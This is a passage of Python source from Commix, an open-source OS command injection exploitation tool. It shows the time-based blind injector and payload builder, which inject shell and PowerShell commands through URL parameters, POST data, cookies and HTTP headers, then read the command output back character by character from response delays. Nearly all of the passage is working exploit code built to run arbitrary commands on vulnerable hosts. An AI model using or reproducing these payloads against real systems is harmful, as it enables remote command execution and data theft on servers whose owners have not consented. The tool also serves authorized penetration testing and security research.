vuln_parameter = parameters.vuln_GET_param(url)
target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(target)
# Check if defined method is POST.
else:
parameter = menu.options.data
#parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_POST_param(parameter, url)
# Define the POST data
if settings.IS_JSON:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request
response = requests.get_request_response(request)
end = time.time()
how_long = int(end - start)
return how_long, vuln_parameter
"""
Check if target host is vulnerable. (Cookie-based injection)
"""
def cookie_injection_test(url, vuln_parameter, payload):
return requests.cookie_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (User-Agent-based injection)
"""
def user_agent_injection_test(url, vuln_parameter, payload):
return requests.user_agent_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (Referer-based injection)
"""
def referer_injection_test(url, vuln_parameter, payload):
return requests.referer_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (Host-based injection)
"""
def host_injection_test(url, vuln_parameter, payload):
return requests.host_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (Custom header injection)
"""
def custom_header_injection_test(url, vuln_parameter, payload):
return requests.custom_header_injection(url, vuln_parameter, payload)
"""
The main command injection exploitation.
"""
def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
if settings.TARGET_OS == settings.OS.WINDOWS:
previous_cmd = cmd
if alter_shell:
cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\""
else:
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length"
if menu.options.file_write or menu.options.file_upload:
minlen = 0
else:
minlen = 1
found_chars = False
info_msg = "Retrieving the length of execution output. "
print(settings.print_info_msg(info_msg))
for output_length in range(int(minlen), int(maxlen)):
if alter_shell:
# Execute shell commands on vulnerable host.
payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method)
else:
# Execute shell commands on vulnerable host.
payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
# Examine time-responses
injection_check = False
if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF):
injection_check = True
if injection_check == True:
if output_length > 1:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Retrieved the length of execution output: " + str(output_length)
print(settings.print_bold_debug_msg(debug_msg))
else:
sub_content = "Retrieved: " + str(output_length)
print(settings.print_sub_content(sub_content))
found_chars = True
injection_check = False
break
# Proceed with the next (injection) step!
if found_chars == True :
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = previous_cmd
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
output = []
percent = "0.0%"
info_msg = "Presuming the execution output."
if settings.VERBOSITY_LEVEL == 0 :
info_msg += ".. (" + str(percent) + ")"
else:
info_msg += "\n"
if output_length > 1:
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
for num_of_chars in range(1, int(num_of_chars)):
char_pool = checks.generate_char_pool(num_of_chars)
for ascii_char in char_pool:
if alter_shell:
# Get the execution output, of shell execution.
payload = tb_payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method)
else:
# Get the execution output, of shell execution.
payload = tb_payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
# Examine time-responses
injection_check = False
if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF):
injection_check = True
if injection_check == True:
if settings.VERBOSITY_LEVEL == 0:
output.append(chr(ascii_char))
percent = ((num_of_chars*100)/output_length)
float_percent = str("{0:.1f}".format(round(((num_of_chars * 100)/(output_length * 1.0)),2))) + "%"
if percent == 100:
float_percent = settings.info_msg
else:
float_percent = ".. (" + str(float_percent) + ")"
info_msg = "Presuming the execution output."
info_msg += float_percent
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
output.append(chr(ascii_char))
injection_check = False
break
check_end = time.time()
check_how_long = int(check_end - check_start)
output = "".join(str(p) for p in output)
# Check for empty output.
if output == (len(output) * settings.SINGLE_WHITESPACE):
output = ""
else:
check_start = 0
check_how_long = 0
output = False
return check_how_long, output
"""
False Positive check and evaluation.
"""
def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning):
if settings.TARGET_OS == settings.OS.WINDOWS:
previous_cmd = cmd
if alter_shell:
cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\""
else:
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length"
found_chars = False
checks.check_for_false_positive_result(false_positive_warning)
# Varying the sleep time.
if false_positive_warning:
timesec = timesec + random.randint(3, 5)
# Checking the output length of the used payload.
if settings.VERBOSITY_LEVEL == 0:
sys.stdout.write(".")
for output_length in range(1, 3):
if settings.VERBOSITY_LEVEL == 0:
sys.stdout.write(".")
# Execute shell commands on vulnerable host.
if alter_shell:
payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method)
else:
payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF):
found_chars = True
break
if found_chars == True :
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = previous_cmd
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
output = []
percent = 0
sys.stdout.flush()
is_valid = False
for num_of_chars in range(1, int(num_of_chars)):
for ascii_char in range(1, 20):
if settings.VERBOSITY_LEVEL == 0:
sys.stdout.write(".")
if alter_shell:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method)
else:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF):
output.append(ascii_char)
is_valid = True
break
if is_valid:
break
check_end = time.time()
check_how_long = int(check_end - check_start)
output = "".join(str(p) for p in output)
if str(output) == str(randvcalc):
if settings.VERBOSITY_LEVEL == 0:
sys.stdout.write(" (done)")
return how_long, output
else:
checks.unexploitable_point()
"""
Export the injection results
"""
def export_injection_results(cmd, separator, output, check_how_long):
if output != "" and check_how_long != 0 :
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "."
print(settings.print_info_msg(info_msg))
print(settings.print_output(output))
else:
# Check if exists pipe filtration.
if output != False :
err_msg = "It appears that '" + cmd + "' command could not return "
err_msg += "any output due to '" + separator + "' filtration on target host. "
err_msg += "To bypass that limitation, use the '--alter-shell' option "
err_msg += "or try another injection technique (i.e. '--technique=\"f\"')"
print("\n" + settings.print_critical_msg(err_msg))
raise SystemExit()
# Check for fault command.
else:
err_msg = common.invalid_cmd_output(cmd)
print(settings.print_error_msg(err_msg))
# eof commix-3.8/src/core/injections/blind/techniques/time_based/tb_payloads.py 0000775 0000000 0000000 00000060530 14466364451 0026777 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.thirdparty.six.moves import urllib as _urllib
from src.utils import settings
"""
The "time-based" injection technique on Blind OS Command Injection.
The available "time-based" payloads.
"""
"""
Time-based decision payload (check if host is vulnerable).
"""
def decision(separator, TAG, output_length, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') "
"do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') "
"do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
if separator == ";" or separator == "%0a":
payload = (separator +
"str=$(echo " + TAG + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
"if [ " + str(output_length) + " -ne $str1 ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi"
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0 " + separator +
"str=$(echo " + TAG + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
"[ " + str(output_length) + " -eq $str1 ]" + separator +
"sleep " + str(timesec)
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(output_length) + " -ne $(echo " + TAG + settings.SINGLE_WHITESPACE +
pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator +
"sleep " + str(timesec)
)
else:
pass
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\""
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a":
payload = (separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator +
"if [ " + str(output_length) + " -ne ${str1} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + settings.SINGLE_WHITESPACE +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator +
"[ " + str(output_length) + " -eq ${str1} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
# Find the length of the output, using readline().
"[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
pass
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n",";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
"""
Execute shell commands on vulnerable host.
"""
def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
settings.USER_SUPPLIED_CMD = cmd
if separator == ";" or separator == "%0a":
payload = (separator +
"str=\"$(echo $(" + cmd + "))\"" + separator +
#"str1=${%23str}" + separator +
"str1=$(expr length \"$str\")" + separator +
"if [ " + str(output_length) + " -ne $str1 ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0" + separator +
"str=$(echo $(" + cmd + "))" + separator +
# Find the length of the output.
"str1=$(expr length $str)" + separator +
#"str1=${%23str} " + separator +
"[ " + str(output_length) + " -eq $str1 ]" + separator +
"sleep " + str(timesec)
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " +str(output_length)+ " -ne $(echo -n \"$(" + cmd + ")\" " +
pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator +
"sleep " + str(timesec)
)
else:
pass
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a":
payload = (separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator +
"if [ " + str(output_length) + " -ne ${str1} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator +
"[ " + str(output_length) + " -eq ${str1} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
# Find the length of the output, using readline().
"[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
pass
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n",";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
"""
Get the execution output, of shell execution.
"""
def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " +
cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " +
cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
settings.USER_SUPPLIED_CMD = cmd
if separator == ";" or separator == "%0a" :
payload = (separator +
# Grab the execution output.
"cmd=\"$(echo $(" + cmd + "))\"" + separator +
# Export char-by-char the execution output.
"char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator +
# Transform from Ascii to Decimal.
"str=$(printf '%d' \"'$char'\")" + separator +
# Perform the time-based comparisons
"if [ " + str(ascii_char) + " -ne $str ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0 " + separator +
# Grab the execution output.
"cmd=\"$(echo $(" + cmd + "))\"" + separator +
# Export char-by-char the execution output.
"char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator +
# Transform from Ascii to Decimal.
"str=$(printf '%d' \"'$char'\")" + separator +
# Perform the time-based comparisons
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"sleep " + str(timesec)
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne $(" + cmd + pipe + "tr -d '\\n'" +
pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" +
pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator +
"sleep " + str(timesec)
)
else:
pass
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\""
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a":
payload = (separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator +
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
pass
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n",";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
"""
Get the execution output, of shell execution.
"""
def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + settings.SINGLE_WHITESPACE +
